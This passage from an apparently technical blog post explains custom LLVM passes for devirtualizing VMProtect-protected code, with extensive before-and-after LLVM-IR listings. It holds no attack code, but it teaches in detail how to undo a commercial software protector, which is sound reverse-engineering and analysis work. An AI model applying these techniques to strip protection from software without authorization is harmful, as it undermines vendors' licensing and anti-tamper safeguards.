store i64 1, i64* %4, align 1, !noalias !67
%5 = inttoptr i64 %3 to i64*
store i64 2, i64* %5, align 1, !noalias !67
%6 = load i64, i64* %4, align 1, !noalias !67
store i64 %6, i64* %rax, align 8, !tbaa !4, !alias.scope !68, !noalias !69
ret i64 5368713278
}
The devirtualized code without the SegmentsAA
pass added to the pipeline and therefore no assumptions fed to LLVM
Alias analysis is a complex topic, and experience thought me that most of the propagation issues happening while using LLVM to deobfuscate some code are related to the LLVM’s alias analysis passes being hinder by some pointer computation. Therefore, having the capability to feed LLVM with context-aware information could be the only way to handle certain types of obfuscation. Beware that other tools you are used to are most likely doing similar “safe” assumptions under the hood (e.g. concolic execution tools using the concrete pointer to answer the aliasing queries).
The takeaway from this section is that, if needed, you can define your own alias analysis callback pass to be integrated in the optimization pipeline in such a way that pre-existing passes can make use of the refined aliasing query results. This is similar to updating IDA’s stack variables with proper type definitions to improve the propagation results.
This pass falls under the category of the VMProtect specific optimization problems. In fact, whoever looked into VMProtect 3.0.9 knows that the following trick, reimplemented as high level C code for simplicity, is being internally used to select between two branches of a conditional jump.
uint64_t ConditionalBranchLogic(uint64_t RFLAGS) {
// Extracting the ZF flag bit
uint64_t ConditionBit = (RFLAGS & 0x40) >> 6;
// Writing the jump destinations
uint64_t Stack[2] = { 0 };
Stack[0] = 5369966919;
Stack[1] = 5369966790;
// Selecting the correct jump destination
return Stack[ConditionBit];
}
What is really happening at the low level is that the branch destinations are written to adjacent stack slots and then a conditional load, controlled by the previously computed flags, is going to select between one slot or the other to fetch the right jump destination.
LLVM doesn’t automatically see through the conditional load, but it is providing us with all the needed information to write such an optimization ourselves. In fact, the ValueTracking analysis exposes the computeKnownBits
function that we can use to determine if the index used in a getelementptr
instruction is bound to have just two values.
At this point we can generate two separated load instructions accessing the stack slots with the inferred indices and feed them to a select instruction controlled by the index itself. At the next store-to-load
propagation, LLVM will happily identify the matching store
and load
instructions, propagating the constants representing the conditional branch destinations and generating a nice select
instruction with second and third constant operands.
; Matched pattern
%i0 = add i64 %base, %index
%i1 = getelementptr inbounds [0 x i8], [0 x i8]* @RAM, i64 0, i64 %i0
%i2 = bitcast i8* %i1 to i64*
%i3 = load i64, i64* %i2, align 1
; Exploded form
%51 = add i64 %base, 0
%52 = add i64 %base, 8
%53 = getelementptr inbounds [0 x i8], [0 x i8]* @RAM, i64 0, i64 %51
%54 = getelementptr inbounds [0 x i8], [0 x i8]* @RAM, i64 0, i64 %52
%55 = bitcast i8* %53 to i64*
%56 = bitcast i8* %54 to i64*
%57 = load i64, i64* %55, align 8
%58 = load i64, i64* %56, align 8
%59 = icmp eq i64 %index, 0
%60 = select i1 %59, i64 %57, i64 %58
; Simplified select instruction
%59 = icmp eq i64 %index, 0
%60 = select i1 %59, i64 5369966919, i64 5369966790
The snippet above shows the matched pattern, its exploded form suitable for the LLVM propagation and its final optimized shape. In this case the ValueTracking
analysis provided the values 0
and 8
as the only feasible ones for the %index
value.
A brief discussion about this pass can be found in this chain of messages in the LLVM mailing list.
This pass falls in between the categories of the VMProtect specific optimization problems and LLVM optimization limitations. In fact, this pass is based on the enumerative synthesis logic implemented by Souper, with some minor tweaks to make it more performant for our use-case.
This pass exists because I’m lazy and the fewer ad-hoc patterns I write, the happier I am. The patterns we are talking about are the ones generated by the flag manipulations that VMProtect does when computing the condition for a conditional branch. LLVM already does a good job with simplifying part of the patterns, but to obtain mint-like results we absolutely need to help it a bit.
There’s not much to say about this pass, it is basically invoking Souper’s enumerative synthesis with a selected set of components (Inst::CtPop
, Inst::Eq
, Inst::Ne
, Inst::Ult
, Inst::Slt
, Inst::Ule
, Inst::Sle
, Inst::SAddO
, Inst::UAddO
, Inst::SSubO
, Inst::USubO
, Inst::SMulO
, Inst::UMulO
), requiring the synthesis of a single instruction, enabling the data-flow pruning option and bounding the LHS candidates to a maximum of 50. Additionally the pass is executing the synthesis only on the i1
conditions used by the select
and br instructions.
This Godbolt page shows the devirtualized LLVM-IR output obtained appending the SynthesizeFlags
pass to the pipeline and the resulting assembly with the properly recompiled conditional jumps. The original assembly code can be seen below. It’s a dummy sequence of instructions where the key piece is the comparison between the rax
and rbx
registers that drives the conditional branch jcc
.
start:
cmp rax, rbx
jcc label
and rcx, rdx
mov qword ptr ds:[rcx], 1
jmp exit
label:
xor rcx, rdx
add qword ptr ds:[rcx], 2
exit:
This pass falls under the category of the generic LLVM optimization passes that couldn’t possibly be included in the mainline framework because they wouldn’t match the quality criteria of a stable pass. Although the transformations done by this pass are applicable to generic LLVM-IR code, even if the handled cases are most likely to be found in obfuscated code.
Passes like DSE
already attempt to handle the case where a store
instruction is partially or completely overlapping with other store
instructions. Although the more convoluted case of multiple stores
contributing to the value of a single memory slot are somehow only partially handled.
This pass is focusing on the handling of the case illustrated in the following snippet, where multiple smaller stores
contribute to the creation of a bigger value subsequently accessed by a single load
instruction.
define dso_local i64 @WhatDidYouDoToMySonYouEvilMonster(i64* noalias nonnull align 8 dereferenceable(8) %rax, i64* noalias nonnull align 8 dereferenceable(8) %rbx, i64* noalias nonnull align 8 dereferenceable(8) %rcx, i64* noalias nonnull align 8 dereferenceable(8) %rdx, i64* noalias nonnull align 8 dereferenceable(8) %rsi, i64* noalias nonnull align 8 dereferenceable(8) %rdi, i64* noalias nonnull align 8 dereferenceable(8) %rbp, i64* noalias nonnull align 8 dereferenceable(8) %rsp, i64* noalias nonnull align 8 dereferenceable(8) %r8, i64* noalias nonnull align 8 dereferenceable(8) %r9, i64* noalias nonnull align 8 dereferenceable(8) %r10, i64* noalias nonnull align 8 dereferenceable(8) %r11, i64* noalias nonnull align 8 dereferenceable(8) %r12, i64* noalias nonnull align 8 dereferenceable(8) %r13, i64* noalias nonnull align 8 dereferenceable(8) %r14, i64* noalias nonnull align 8 dereferenceable(8) %r15, i64* noalias nonnull align 8 dereferenceable(8) %flags, i64 %KEY_STUB, i64 %RET_ADDR, i64 %REL_ADDR) {
%1 = load i64, i64* %rsp, align 8
%2 = add i64 %1, -8
%3 = getelementptr inbounds [0 x i8], [0 x i8]* @RAM, i64 0, i64 %2
%4 = add i64 %1, -16
%5 = getelementptr inbounds [0 x i8], [0 x i8]* @RAM, i64 0, i64 %4
%6 = load i64, i64* %rax, align 8
%7 = add i64 %1, -10
%8 = getelementptr inbounds [0 x i8], [0 x i8]* @RAM, i64 0, i64 %7
%9 = bitcast i8* %8 to i64*
store i64 %6, i64* %9, align 1
%10 = bitcast i8* %8 to i32*
%11 = trunc i64 %6 to i32
%12 = add i64 %1, -6
%13 = getelementptr inbounds [0 x i8], [0 x i8]* @RAM, i64 0, i64 %12
%14 = bitcast i8* %13 to i32*
store i32 %11, i32* %14, align 1
%15 = bitcast i8* %13 to i16*
%16 = trunc i64 %6 to i16
%17 = add i64 %1, -4
%18 = add i64 %1, -12
%19 = getelementptr inbounds [0 x i8], [0 x i8]* @RAM, i64 0, i64 %18
%20 = bitcast i8* %19 to i64*
%21 = getelementptr inbounds [0 x i8], [0 x i8]* @RAM, i64 0, i64 %17
%22 = bitcast i8* %21 to i16*
%23 = load i16, i16* %22, align 1
store i16 %23, i16* %15, align 1
%24 = load i32, i32* %14, align 1
%25 = shl i32 %24, 8
%26 = bitcast i8* %21 to i32*
store i32 %25, i32* %26, align 1
%27 = bitcast i8* %3 to i16*
store i16 %16, i16* %27, align 1
%28 = bitcast i8* %8 to i16*
store i16 %16, i16* %28, align 1
%29 = load i32, i32* %10, align 1
%30 = shl i32 %29, 8
%31 = bitcast i8* %3 to i32*
store i32 %30, i32* %31, align 1
%32 = add i64 %1, -14
%33 = getelementptr inbounds [0 x i8], [0 x i8]* @RAM, i64 0, i64 %32
%34 = add i64 %1, -2
%35 = getelementptr inbounds [0 x i8], [0 x i8]* @RAM, i64 0, i64 %34
%36 = bitcast i8* %35 to i16*
%37 = load i16, i16* %36, align 1
store i16 %37, i16* %27, align 1
%38 = add i64 %1, -18
%39 = getelementptr inbounds [0 x i8], [0 x i8]* @RAM, i64 0, i64 %38
%40 = bitcast i8* %39 to i64*
store i64 %6, i64* %40, align 1
%41 = bitcast i8* %39 to i32*
%42 = bitcast i8* %33 to i16*
%43 = load i16, i16* %42, align 1
%44 = bitcast i8* %19 to i16*
%45 = load i16, i16* %44, align 1
store i16 %45, i16* %42, align 1
%46 = bitcast i8* %33 to i32*
%47 = load i32, i32* %46, align 1
%48 = shl i32 %47, 8
%49 = bitcast i8* %19 to i32*
store i32 %48, i32* %49, align 1
%50 = bitcast i8* %5 to i16*
store i16 %43, i16* %50, align 1
%51 = bitcast i8* %39 to i16*
store i16 %43, i16* %51, align 1
%52 = load i32, i32* %41, align 1
%53 = shl i32 %52, 8
%54 = bitcast i8* %5 to i32*
store i32 %53, i32* %54, align 1
%55 = load i16, i16* %28, align 1
store i16 %55, i16* %50, align 1
%56 = load i32, i32* %54, align 1
store i32 %56, i32* %49, align 1
%57 = load i64, i64* %20, align 1
store i64 %57, i64* %rax, align 8
ret i64 5368713262
}
Now, you can arm yourself with patience and manually match all the store
and load
operations, or you can trust me when I tell you that all of them are concurring to the creation of a single i64
value that will be finally saved in the rax
register.
The pass is working at the intra-block level and it’s relying on the analysis results provided by the MemorySSA
, ScalarEvolution and AAResults interfaces to backward walk the definition chains concurring to the creation of the value fetched by each load
instruction in the block. Doing that, it is filling a structure which keeps track of the aliasing store
instructions, the stored values, and the offsets and sizes overlapping with the memory slot fetched by each load
. If a sequence of store
assignments completely defining the value of the whole memory slot is found, the chain is processed to remove the store-to-load
indirection. Subsequent passes may then rely on this new indirection-free chain to apply more transformations. As an example the previous LLVM-IR snippet turns in the following optimized LLVM-IR snippet when the MemoryCoalescing
pass is applied before executing the InstCombine
pass. Nice huh?
define dso_local i64 @ThanksToLLVMMySonBswap64IsBack(i64* noalias nonnull align 8 dereferenceable(8) %rax, i64* noalias nonnull align 8 dereferenceable(8) %rbx, i64* noalias nonnull align 8 dereferenceable(8) %rcx, i64* noalias nonnull align 8 dereferenceable(8) %rdx, i64* noalias nonnull align 8 dereferenceable(8) %rsi, i64* noalias nonnull align 8 dereferenceable(8) %rdi, i64* noalias nonnull align 8 dereferenceable(8) %rbp, i64* noalias nonnull align 8 dereferenceable(8) %rsp, i64* noalias nonnull align 8 dereferenceable(8) %r8, i64* noalias nonnull align 8 dereferenceable(8) %r9, i64* noalias nonnull align 8 dereferenceable(8) %r10, i64* noalias nonnull align 8 dereferenceable(8) %r11, i64* noalias nonnull align 8 dereferenceable(8) %r12, i64* noalias nonnull align 8 dereferenceable(8) %r13, i64* noalias nonnull align 8 dereferenceable(8) %r14, i64* noalias nonnull align 8 dereferenceable(8) %r15, i64* noalias nonnull align 8 dereferenceable(8) %flags, i64 %KEY_STUB, i64 %RET_ADDR, i64 %REL_ADDR) {
%1 = load i64, i64* %rax, align 8
%2 = call i64 @llvm.bswap.i64(i64 %1)
store i64 %2, i64* %rax, align 8
ret i64 5368713262
}
This pass also falls under the category of the generic LLVM optimization passes that couldn’t possibly be included in the mainline framework because they wouldn’t match the quality criteria of a stable pass. Although the transformations done by this pass are applicable to generic LLVM-IR code, even if the handled cases are most likely to be found in obfuscated code.
Conceptually similar to the MemoryCoalescing
pass, the goal of this pass is to sweep a function to identify chains of store
instructions that post-dominate a single store
instruction and kill its value before it is actually being fetched. Passes like DSE
are doing a similar job, although limited to some forms of full overlapping caused by multiple stores
on a single post-dominated store
.
Applying the -O3
pipeline to the following example won’t remove the first 64 bits dead store
at RAM[%0]
, even if the subsequent 64 bits stores
at RAM[%0 - 4]
and RAM[%0 + 4]
fully overlap it, redefining its value.
define dso_local void @DSE(i64 %0) local_unnamed_addr #0 {
%2 = getelementptr inbounds [0 x i8], [0 x i8]* @RAM, i64 0, i64 %0
%3 = bitcast i8* %2 to i64*
store i64 1234605616436508552, i64* %3, align 1
%4 = add i64 %0, -4
%5 = getelementptr inbounds [0 x i8], [0 x i8]* @RAM, i64 0, i64 %4
%6 = bitcast i8* %5 to i64*
store i64 -6148858396813837381, i64* %6, align 1
%7 = add i64 %0, 4
%8 = getelementptr inbounds [0 x i8], [0 x i8]* @RAM, i64 0, i64 %7
%9 = bitcast i8* %8 to i64*
store i64 -3689348814455574802, i64* %9, align 1
ret void
}
Adding the PartialOverlapDSE
pass to the pipeline will identify and kill the first store
, enabling other passes to eventually kill the chain of computations contributing to the stored value. The built-in DSE
pass is most likely not executing such a kill because collecting information about multiple overlapping stores
is an expensive operation.
This pass is strictly related to the IsGuaranteedLoopInvariant
patch I submitted, in fact it is just identifying all the pointers that could be safely hoisted to the entry block because depending solely on values coming directly from the entry block. Applying this kind of transformation prior to the execution of the DSE
pass may lead to better optimization results.
As an example, consider this devirtualized function containing a rather useless switch case. I’m saying rather useless because each store
in the case blocks is post-dominated and killed by the store i32 22, i32* %85
instruction, but LLVM is not going to kill those stores until we move the pointer computation to the entry block.
define dso_local i64 @F_0x1400045b0(i64* noalias nonnull align 8 dereferenceable(8) %rax, i64* noalias nonnull align 8 dereferenceable(8) %rbx, i64* noalias nonnull align 8 dereferenceable(8) %rcx, i64* noalias nonnull align 8 dereferenceable(8) %rdx, i64* noalias nonnull align 8 dereferenceable(8) %rsi, i64* noalias nonnull align 8 dereferenceable(8) %rdi, i64* noalias nonnull align 8 dereferenceable(8) %rbp, i64* noalias nonnull align 8 dereferenceable(8) %rsp, i64* noalias nonnull align 8 dereferenceable(8) %r8, i64* noalias nonnull align 8 dereferenceable(8) %r9, i64* noalias nonnull align 8 dereferenceable(8) %r10, i64* noalias nonnull align 8 dereferenceable(8) %r11, i64* noalias nonnull align 8 dereferenceable(8) %r12, i64* noalias nonnull align 8 dereferenceable(8) %r13, i64* noalias nonnull align 8 dereferenceable(8) %r14, i64* noalias nonnull align 8 dereferenceable(8) %r15, i64* noalias nonnull align 8 dereferenceable(8) %flags, i64 %KEY_STUB, i64 %RET_ADDR, i64 %REL_ADDR) {
%1 = load i64, i64* %rsp, align 8
%2 = load i64, i64* %rcx, align 8
%3 = call { i32, i32, i32, i32 } asm " xchgq %rbx,${1:q}\0A cpuid\0A xchgq %rbx,${1:q}", "={ax},=r,={cx},={dx},0,~{dirflag},~{fpsr},~{flags}"(i32 1)
%4 = extractvalue { i32, i32, i32, i32 } %3, 0
%5 = extractvalue { i32, i32, i32, i32 } %3, 1
%6 = and i32 %4, 4080
%7 = icmp eq i32 %6, 4064
%8 = xor i32 %4, 32
%9 = select i1 %7, i32 %8, i32 %4
%10 = and i32 %5, 16777215
%11 = add i32 %9, %10
%12 = load i64, i64* bitcast (i8* getelementptr inbounds ([0 x i8], [0 x i8]* @GS, i64 0, i64 96) to i64*), align 1
%13 = add i64 %12, 288
%14 = getelementptr inbounds [0 x i8], [0 x i8]* @RAM, i64 0, i64 %13
%15 = bitcast i8* %14 to i16*
%16 = load i16, i16* %15, align 1
%17 = zext i16 %16 to i32
%18 = load i64, i64* bitcast (i8* getelementptr inbounds ([0 x i8], [0 x i8]* @RAM, i64 0, i64 5369231568) to i64*), align 1
%19 = shl nuw nsw i32 %17, 7
%20 = add i64 %18, 32
%21 = getelementptr inbounds [0 x i8], [0 x i8]* @RAM, i64 0, i64 %20
%22 = bitcast i8* %21 to i32*
%23 = load i32, i32* %22, align 1
%24 = xor i32 %23, 2480
%25 = add i32 %11, %19
%26 = trunc i64 %18 to i32
%27 = add i64 %18, 88
%28 = xor i32 %25, %26
br label %29
29: ; preds = %37, %0
%30 = phi i64 [ %27, %0 ], [ %38, %37 ]
%31 = phi i32 [ %24, %0 ], [ %39, %37 ]
%32 = getelementptr inbounds [0 x i8], [0 x i8]* @RAM, i64 0, i64 %30
%33 = bitcast i8* %32 to i32*
%34 = load i32, i32* %33, align 1
%35 = xor i32 %34, 30826
%36 = icmp eq i32 %28, %35
br i1 %36, label %41, label %37
37: ; preds = %29
%38 = add i64 %30, 8
%39 = add i32 %31, -1
%40 = icmp eq i32 %31, 1
br i1 %40, label %86, label %29
41: ; preds = %29
%42 = add i64 %1, 40
%43 = getelementptr inbounds [0 x i8], [0 x i8]* @RAM, i64 0, i64 %42
%44 = bitcast i8* %43 to i32*
%45 = load i32, i32* %44, align 1
%46 = add i64 %1, 36
%47 = getelementptr inbounds [0 x i8], [0 x i8]* @RAM, i64 0, i64 %46
%48 = bitcast i8* %47 to i32*
store i32 %45, i32* %48, align 1
%49 = icmp ugt i32 %45, 5
%50 = zext i32 %45 to i64
%51 = add i64 %1, 32
br i1 %49, label %81, label %52
52: ; preds = %41
%53 = shl nuw nsw i64 %50, 1
%54 = and i64 %53, 4294967296
%55 = sub nsw i64 %50, %54
%56 = shl nsw i64 %55, 2
%57 = add nsw i64 %56, 5368964976
%58 = getelementptr inbounds [0 x i8], [0 x i8]* @RAM, i64 0, i64 %57
%59 = bitcast i8* %58 to i32*
%60 = load i32, i32* %59, align 1
%61 = zext i32 %60 to i64
%62 = add nuw nsw i64 %61, 5368709120
switch i32 %60, label %66 [
i32 1465288, label %63
i32 1510355, label %78
i32 1706770, label %75
i32 2442748, label %72
i32 2740242, label %69
]
63: ; preds = %52
%64 = getelementptr inbounds [0 x i8], [0 x i8]* @RAM, i64 0, i64 %51
%65 = bitcast i8* %64 to i32*
store i32 9, i32* %65, align 1
br label %66
66: ; preds = %52, %63
%67 = getelementptr inbounds [0 x i8], [0 x i8]* @RAM, i64 0, i64 %51
%68 = bitcast i8* %67 to i32*
store i32 20, i32* %68, align 1
br label %69
69: ; preds = %52, %66
%70 = getelementptr inbounds [0 x i8], [0 x i8]* @RAM, i64 0, i64 %51
%71 = bitcast i8* %70 to i32*
store i32 30, i32* %71, align 1
br label %72
72: ; preds = %52, %69
%73 = getelementptr inbounds [0 x i8], [0 x i8]* @RAM, i64 0, i64 %51
%74 = bitcast i8* %73 to i32*
store i32 55, i32* %74, align 1
br label %75
75: ; preds = %52, %72
%76 = getelementptr inbounds [0 x i8], [0 x i8]* @RAM, i64 0, i64 %51
%77 = bitcast i8* %76 to i32*
store i32 99, i32* %77, align 1
br label %78
78: ; preds = %52, %75
%79 = getelementptr inbounds [0 x i8], [0 x i8]* @RAM, i64 0, i64 %51
%80 = bitcast i8* %79 to i32*
store i32 100, i32* %80, align 1
br label %81
81: ; preds = %41, %78
%82 = phi i64 [ %62, %78 ], [ %50, %41 ]
%83 = phi i64 [ 5368709120, %78 ], [ %2, %41 ]
%84 = getelementptr inbounds [0 x i8], [0 x i8]* @RAM, i64 0, i64 %51
%85 = bitcast i8* %84 to i32*
store i32 22, i32* %85, align 1
store i64 %83, i64* %rcx, align 8
br label %86
86: ; preds = %37, %81
%87 = phi i64 [ %82, %81 ], [ 3735929054, %37 ]
%88 = phi i64 [ 5368727067, %81 ], [ 0, %37 ]
store i64 %87, i64* %rax, align 8
ret i64 %88
}
When the PointersHoisting
pass is applied before executing the DSE
pass we obtain the following code, where the switch case has been completely removed because it has been deemed dead.
define dso_local i64 @F_0x1400045b0(i64* noalias nocapture nonnull align 8 dereferenceable(8) %0, i64* noalias nocapture nonnull readnone align 8 dereferenceable(8) %1, i64* noalias nocapture nonnull align 8 dereferenceable(8) %2, i64* noalias nocapture nonnull readnone align 8 dereferenceable(8) %3, i64* noalias nocapture nonnull readnone align 8 dereferenceable(8) %4, i64* noalias nocapture nonnull readnone align 8 dereferenceable(8) %5, i64* noalias nocapture nonnull readnone align 8 dereferenceable(8) %6, i64* noalias nocapture nonnull readonly align 8 dereferenceable(8) %7, i64* noalias nocapture nonnull readnone align 8 dereferenceable(8) %8, i64* noalias nocapture nonnull readnone align 8 dereferenceable(8) %9, i64* noalias nocapture nonnull readnone align 8 dereferenceable(8) %10, i64* noalias nocapture nonnull readnone align 8 dereferenceable(8) %11, i64* noalias nocapture nonnull readnone align 8 dereferenceable(8) %12, i64* noalias nocapture nonnull readnone align 8 dereferenceable(8) %13, i64* noalias nocapture nonnull readnone align 8 dereferenceable(8) %14, i64* noalias nocapture nonnull readnone align 8 dereferenceable(8) %15, i64* noalias nocapture nonnull readnone align 8 dereferenceable(8) %16, i64 %17, i64 %18, i64 %19) local_unnamed_addr {
%21 = load i64, i64* %7, align 8
%22 = load i64, i64* %2, align 8
%23 = tail call { i32, i32, i32, i32 } asm " xchgq %rbx,${1:q}\0A cpuid\0A xchgq %rbx,${1:q}", "={ax},=r,={cx},={dx},0,~{dirflag},~{fpsr},~{flags}"(i32 1)
%24 = extractvalue { i32, i32, i32, i32 } %23, 0
%25 = extractvalue { i32, i32, i32, i32 } %23, 1
%26 = and i32 %24, 4080
%27 = icmp eq i32 %26, 4064
%28 = xor i32 %24, 32
%29 = select i1 %27, i32 %28, i32 %24
%30 = and i32 %25, 16777215
%31 = add i32 %29, %30
%32 = load i64, i64* bitcast (i8* getelementptr inbounds ([0 x i8], [0 x i8]* @GS, i64 0, i64 96) to i64*), align 1
%33 = add i64 %32, 288
%34 = getelementptr inbounds [0 x i8], [0 x i8]* @RAM, i64 0, i64 %33
%35 = bitcast i8* %34 to i16*
%36 = load i16, i16* %35, align 1
%37 = zext i16 %36 to i32
%38 = load i64, i64* bitcast (i8* getelementptr inbounds ([0 x i8], [0 x i8]* @RAM, i64 0, i64 5369231568) to i64*), align 1
%39 = shl nuw nsw i32 %37, 7
%40 = add i64 %38, 32
%41 = getelementptr inbounds [0 x i8], [0 x i8]* @RAM, i64 0, i64 %40
%42 = bitcast i8* %41 to i32*
%43 = load i32, i32* %42, align 1
%44 = xor i32 %43, 2480
%45 = add i32 %31, %39
%46 = trunc i64 %38 to i32
%47 = add i64 %38, 88
%48 = xor i32 %45, %46
%49 = add i64 %21, 32
%50 = getelementptr inbounds [0 x i8], [0 x i8]* @RAM, i64 0, i64 %49
br label %51
%52 = phi i64 [ %47, %20 ], [ %60, %59 ]
%53 = phi i32 [ %44, %20 ], [ %61, %59 ]
%54 = getelementptr inbounds [0 x i8], [0 x i8]* @RAM, i64 0, i64 %52
%55 = bitcast i8* %54 to i32*
%56 = load i32, i32* %55, align 1
%57 = xor i32 %56, 30826
%58 = icmp eq i32 %48, %57
br i1 %58, label %63, label %59
%60 = add i64 %52, 8
%61 = add i32 %53, -1
%62 = icmp eq i32 %53, 1
br i1 %62, label %88, label %51
%64 = add i64 %21, 40
%65 = getelementptr inbounds [0 x i8], [0 x i8]* @RAM, i64 0, i64 %64
%66 = bitcast i8* %65 to i32*
%67 = load i32, i32* %66, align 1
%68 = add i64 %21, 36
%69 = getelementptr inbounds [0 x i8], [0 x i8]* @RAM, i64 0, i64 %68
%70 = bitcast i8* %69 to i32*
store i32 %67, i32* %70, align 1
%71 = icmp ugt i32 %67, 5
%72 = zext i32 %67 to i64
br i1 %71, label %84, label %73
%74 = shl nuw nsw i64 %72, 1
%75 = and i64 %74, 4294967296
%76 = sub nsw i64 %72, %75
%77 = shl nsw i64 %76, 2
%78 = add nsw i64 %77, 5368964976
%79 = getelementptr inbounds [0 x i8], [0 x i8]* @RAM, i64 0, i64 %78
%80 = bitcast i8* %79 to i32*
%81 = load i32, i32* %80, align 1
%82 = zext i32 %81 to i64
%83 = add nuw nsw i64 %82, 5368709120
br label %84
%85 = phi i64 [ %83, %73 ], [ %72, %63 ]
%86 = phi i64 [ 5368709120, %73 ], [ %22, %63 ]
%87 = bitcast i8* %50 to i32*
store i32 22, i32* %87, align 1
store i64 %86, i64* %2, align 8
br label %88
%89 = phi i64 [ %85, %84 ], [ 3735929054, %59 ]
%90 = phi i64 [ 5368727067, %84 ], [ 0, %59 ]
store i64 %89, i64* %0, align 8
ret i64 %90
}
This pass falls under the category of the generic LLVM optimization passes that are useful when dealing with obfuscated code, but basically useless, at least in the current shape, in a standard compilation pipeline. In fact, it’s not uncommon to find obfuscated code relying on constants stored in data sections added during the protection phase.
As an example, on some versions of VMProtect, when the Ultra
mode is used, the conditional branch computations involve dummy constants fetched from a data section. Or if we think about a virtualized jump table (e.g. generated by a switch in the original binary), we also have to deal with a set of constants fetched from a data section.
Hence the reason for having a custom pass that, during the execution of the pipeline, identifies potential constant data accesses and converts the associated memory load
into an LLVM constant (or chain of constants). This process can be referred to as constant(s) concretization.
The pass is going to identify all the load memory accesses in the function and determine if they fall in the following categories:
In both cases the user needs to provide a safe set of memory ranges that the pass can consider as read-only
, otherwise the pass will restrict the concretization to addresses falling in read-only
sections in the binary.
In the first case, the address is directly available and the associated value can be resolved simply parsing the binary.
In the second case the expression computing the symbolic memory access is sliced, the constraint(s) coming from the predecessor block(s) are harvested and Souper is queried in an incremental way (conceptually similar to the one used while solving the outgoing edges in a VmBlock
) to obtain the set of addresses accessing the binary. Each address is then verified to be really laying in a binary section and the corresponding value is fetched. At this point we have a unique mapping between each address and its value, that we can turn into a selection cascade, illustrated in the following LLVM-IR snippet:
; Fetching the switch control value from [rsp + 40]
%2 = add i64 %rsp, 40
%3 = getelementptr inbounds [0 x i8], [0 x i8]* @RAM, i64 0, i64 %2
%4 = bitcast i8* %3 to i32*
%72 = load i32, i32* %4, align 1
; Computing the symbolic address
%84 = zext i32 %72 to i64
%85 = shl nuw nsw i64 %84, 1
%86 = and i64 %85, 4294967296
%87 = sub nsw i64 %84, %86
%88 = shl nsw i64 %87, 2
%89 = add nsw i64 %88, 5368964976
; Generated selection cascade
%90 = icmp eq i64 %89, 5368964988
%91 = icmp eq i64 %89, 5368964980
%92 = icmp eq i64 %89, 5368964984
%93 = icmp eq i64 %89, 5368964992
%94 = icmp eq i64 %89, 5368964996
%95 = select i1 %90, i64 2442748, i64 1465288
%96 = select i1 %91, i64 650651, i64 %95
%97 = select i1 %92, i64 2740242, i64 %96
%98 = select i1 %93, i64 1706770, i64 %97
%99 = select i1 %94, i64 1510355, i64 %98
The %99
value will hold the proper constant based on the address computed by the %89
value. The example above represents the lifted jump table shown in the next snippet, where you can notice the jump table base 0x14003E770
(5368964976
) and the corresponding addresses and values:
.rdata:0x14003E770 dd 0x165BC8
.rdata:0x14003E774 dd 0x9ED9B
.rdata:0x14003E778 dd 0x29D012
.rdata:0x14003E77C dd 0x2545FC
.rdata:0x14003E780 dd 0x1A0B12
.rdata:0x14003E784 dd 0x170BD3
If we have a peek at the sliced jump condition implementing the virtualized switch case (below), this is how it looks after the ConstantConcretization
pass has been scheduled in the pipeline and further InstCombine
executions updated the selection cascade to compute the switch case addresses. Souper will therefore be able to identify the 6 possible outgoing edges, leading to the devirtualized switch case presented in the PointersHoisting
section:
; Fetching the switch control value from [rsp + 40]
%2 = add i64 %rsp, 40
%3 = getelementptr inbounds [0 x i8], [0 x i8]* @RAM, i64 0, i64 %2
%4 = bitcast i8* %3 to i32*
%72 = load i32, i32* %4, align 1
; Computing the symbolic address
%84 = zext i32 %72 to i64
%85 = shl nuw nsw i64 %84, 1
%86 = and i64 %85, 4294967296
%87 = sub nsw i64 %84, %86
%88 = shl nsw i64 %87, 2
%89 = add nsw i64 %88, 5368964976
; Generated selection cascade
%90 = icmp eq i64 %89, 5368964988
%91 = icmp eq i64 %89, 5368964980
%92 = icmp eq i64 %89, 5368964984
%93 = icmp eq i64 %89, 5368964992
%94 = icmp eq i64 %89, 5368964996
%95 = select i1 %90, i64 5371151872, i64 5370415894
%96 = select i1 %91, i64 5369359775, i64 %95
%97 = select i1 %92, i64 5371449366, i64 %96
%98 = select i1 %93, i64 5370174412, i64 %97
%99 = select i1 %94, i64 5370219479, i64 %98
%100 = call i64 @HelperKeepPC(i64 %99) #15
It is well known that all the virtualization-based protectors support only a subset of the targeted ISA. Thus, when an unsupported instruction is found, an exit from the virtual machine is executed (context switching to the host code), running the unsupported instruction(s) and re-entering the virtual machine (context switching back to the virtualized code).
The UnsupportedInstructionsLiftingToLLVM proof-of-concept is an attempt to lift the unsupported instructions to LLVM-IR, generating an InlineAsm instruction configured with the set of clobbering constraints and (ex|im)plicitly accessed registers. An execution context structure representing the general purpose registers is employed during the lifting to feed the inline assembly call instruction with the loaded registers, and to store the updated registers after the inline assembly execution.
This approach guarantees a smooth connection between two virtualized VmStubs
and an intermediate sequence of unsupported instructions, enabling some of the LLVM optimizations and a better registers allocation during the recompilation phase.
An example of the lifted unsupported instruction rdtsc
follows:
define void @Unsupported_rdtsc(%ContextTy* nocapture %0) local_unnamed_addr #0 {
%2 = tail call %IAOutTy.0 asm sideeffect inteldialect "rdtsc", "={eax},={edx}"() #1
%3 = bitcast %ContextTy* %0 to i32*
%4 = extractvalue %IAOutTy.0 %2, 0
store i32 %4, i32* %3, align 4
%5 = getelementptr inbounds %ContextTy, %ContextTy* %0, i64 0, i32 3, i32 0
%6 = bitcast %RegisterW* %5 to i32*
%7 = extractvalue %IAOutTy.0 %2, 1
store i32 %7, i32* %6, align 4
ret void
}
An example of the lifted unsupported instruction cpuid
follows:
define void @Unsupported_cpuid(%ContextTy* nocapture %0) local_unnamed_addr #0 {
%2 = bitcast %ContextTy* %0 to i32*
%3 = load i32, i32* %2, align 4
%4 = getelementptr inbounds %ContextTy, %ContextTy* %0, i64 0, i32 2, i32 0
%5 = bitcast %RegisterW* %4 to i32*
%6 = load i32, i32* %5, align 4
%7 = tail call %IAOutTy asm sideeffect inteldialect "cpuid", "={eax},={ecx},={edx},={ebx},{eax},{ecx}"(i32 %3, i32 %6) #1
%8 = extractvalue %IAOutTy %7, 0
store i32 %8, i32* %2, align 4
%9 = extractvalue %IAOutTy %7, 1
store i32 %9, i32* %5, align 4
%10 = getelementptr inbounds %ContextTy, %ContextTy* %0, i64 0, i32 3, i32 0
%11 = bitcast %RegisterW* %10 to i32*
%12 = extractvalue %IAOutTy %7, 2
store i32 %12, i32* %11, align 4
%13 = getelementptr inbounds %ContextTy, %ContextTy* %0, i64 0, i32 1, i32 0
%14 = bitcast %RegisterW* %13 to i32*
%15 = extractvalue %IAOutTy %7, 3
store i32 %15, i32* %14, align 4
ret void
}
